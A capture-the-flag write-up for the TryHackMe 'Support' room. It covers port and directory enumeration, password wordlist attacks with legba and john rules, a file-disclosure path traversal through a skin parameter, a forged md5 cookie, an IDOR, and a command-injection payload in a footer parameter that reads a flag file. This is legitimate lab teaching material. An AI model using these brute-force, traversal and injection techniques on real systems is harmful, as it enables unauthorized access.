Support - Write-up - TryHackMe

Information

Room#

  • Name: Support
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.

Support

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

sudo pacman -S nmap ffuf legba curl john

Network discovery#

Let's perform a network scan on the target.

# Nmap 7.99 scan initiated Thu Jun 11 01:39:58 2026 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap_10.129.173.118 10.129.173.118
Nmap scan report for 10.129.173.118
Host is up, received echo-reply ttl 62 (0.080s latency).
Not shown: 63598 closed tcp ports (reset), 1935 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8e:a3:75:56:d3:96:ca:64:e7:1b:e6:ae:15:d3:e5:35 (ECDSA)
|_  256 de:f6:d8:7f:a8:3c:2e:27:f9:43:b1:77:bc:59:26:34 (ED25519)
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Support Operations Panel
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jun 11 01:40:37 2026 -- 1 IP address (1 host up) scanned in 39.62 seconds

Nothing outside the web app and a ssh server.

Web enumeration#

➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
[…]

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.173.118/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

js                      [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 849ms]
skins                   [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 47ms]
layout                  [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 47ms]
includes                [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 2856ms]
server-status           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 75ms]
:: Progress: [26583/26583] :: Job [1/1] :: 621 req/sec :: Duration: [0:00:46] :: Errors: 1 ::

Directory listing is enabled on those folders. This may be interesting later (easily discovering the files available).

➜ ffuf -u http://10.129.173.118/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
[…]

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.173.118/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

index.php               [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 56ms]
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 67ms]
footer.php              [Status: 200, Size: 1253, Words: 377, Lines: 39, Duration: 51ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
.htaccess               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 56ms]
api.php                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 52ms]
info.php                [Status: 200, Size: 73369, Words: 3585, Lines: 821, Duration: 60ms]
.                       [Status: 200, Size: 2591, Words: 866, Lines: 93, Duration: 45ms]
.html                   [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 48ms]
.php                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 41ms]
dashboard.php           [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 76ms]
.htpasswd               [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 179ms]
.htm                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 55ms]
.htpasswds              [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 72ms]
.htgroup                [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 65ms]
wp-forum.phps           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 59ms]
.htaccess.bak           [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 49ms]
.htuser                 [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 64ms]
.htc                    [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]
.ht                     [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 66ms]
:: Progress: [16244/16244] :: Job [1/1] :: 598 req/sec :: Duration: [0:00:29] :: Errors: 0 ::

We can access a phpinfo() at /info.php. No interesting secrets to find here.

Quick SQLi tests on the login form is not giving any result.

Vhost enumeration not giving anything either.

➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591
➜ ffuf -u http://10.129.173.118/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -H 'Host: FUZZ.support.thm' -fs 2591

http://10.129.173.118/footer.php is interesting, there is a menu to select a skin, that matches the files we observed in the skins/ folder. There is a serious potential of local file disclosure here (LFD).

<ul class="dropdown-menu dropdown-menu-end">
    <li><a class="dropdown-item" href="?skin=default">Default</a></li>
    <li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li>
    <li><a class="dropdown-item text-success" href="?skin=green">Green</a></li>
    <li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li>
</ul>

However, calling ?skin=red on the footer page or the homepage changes nothing. But this may be usefull later when we'll have access to the dashboard.

Authentication wordlist attack#

Anything juicy is authenticated, so let's attack the password of the help@support.thm account.

$ legba http \
  -U 'help@support.thm' \
  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -T http://10.129.173.118/ \
  --http-method POST \
  --http-success '!contains(body, "Invalid credentials")' \
  --http-payload 'email={USERNAME}&password={PASSWORD}' \
  --single-match \
  -Q
[…]
[INFO ] [2026-06-11 02:33:20] (http) <http://10.129.173.118/> username=help@support.thm password=REDACTED
[…]

Local file disclosure (LFD)#

We already identified the LFD earlier in the footer, now that we are authenticated is the time to exploit it.

/dashboard.php?skin=../config

/dashboard.php?skin=../index

/dashboard.php?skin=../dashboard

So it's clear we'll have access to an API if we are from the IT department. For that, we only need to set the value to md5("true") in the isITUser cookie.

➜ printf %s true | md5sum
b326b5062b2f0e69046810717534cb09  -

IDOR#

Let's take a look at the API code:

/dashboard.php?skin=../api

We can query ourself, and confirm we are not admin (yet).

http://10.129.173.118/user/3

{
    "email": "help@support.thm",
    "2FA": false,
    "admin": false
}

However, user n°1 is.

http://10.129.173.118/user/1

{
    "email": "specialadmin@support.thm",
    "2FA": false,
    "admin": true
}

Authentication wordlist attack (again)#

Let's try to authenticate as specialadmin@support.thm by attacking its password with a wordlist of common passwords.

➜ legba http \
  -U 'specialadmin@support.thm' \
  -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt \
  -T http://10.129.173.118/ \
  --http-method POST \
  --http-success '!contains(body, "Invalid credentials")' \
  --http-payload 'email={USERNAME}&password={PASSWORD}' \
  --single-match \
  -Q

However, this time it's not working.

Credential stuffing#

Let's try to re-use the password in MASTER_PASSWORD from config.php.

However, it's not working.

Generating wordlist with mangling / mutation rules#

Let's try to generate a list of similar passwords from the one we found. We can do this with john.

john --wordlist=MASTER_PASSWORD.txt --stdout --rules:rockyou-30000 > rockyou-30000.txt

Let's re-launch the wordlist attack with our custom list.

➜ legba http \
  -U 'specialadmin@support.thm' \
  -P rockyou-30000.txt \
  -T http://10.129.173.118/ \
  --http-method POST \
  --http-success '!contains(body, "Invalid credentials")' \
  --http-payload 'email={USERNAME}&password={PASSWORD}' \
  --single-match \
  -Q
[…]
[INFO ] [2026-06-11 03:17:24] (http) <http://10.129.173.118/> username=specialadmin@support.thm password=REDACTED
[…]

Once authenticated with the account, we have the admin flag.

RCE#

We can't read the /home/ubuntu/user.txt flag with the LFD because of the .php suffix (and we're running PHP 8, not 5, so no null byte cropping).

Once logged in as admin, we have a new feature to display the date or the time in the footer.

/dashboard.php?skin=../footer

Let's perform basic command injection and use the following payload instead.

sys=date+%2B%22%25H%3A%25M%3A%25S%22; id; cat /home/ubuntu/user.txt

The footer now displays:

01:33:39
uid=33(www-data) gid=33(www-data) groups=33(www-data)
THM{REDACTED}
Share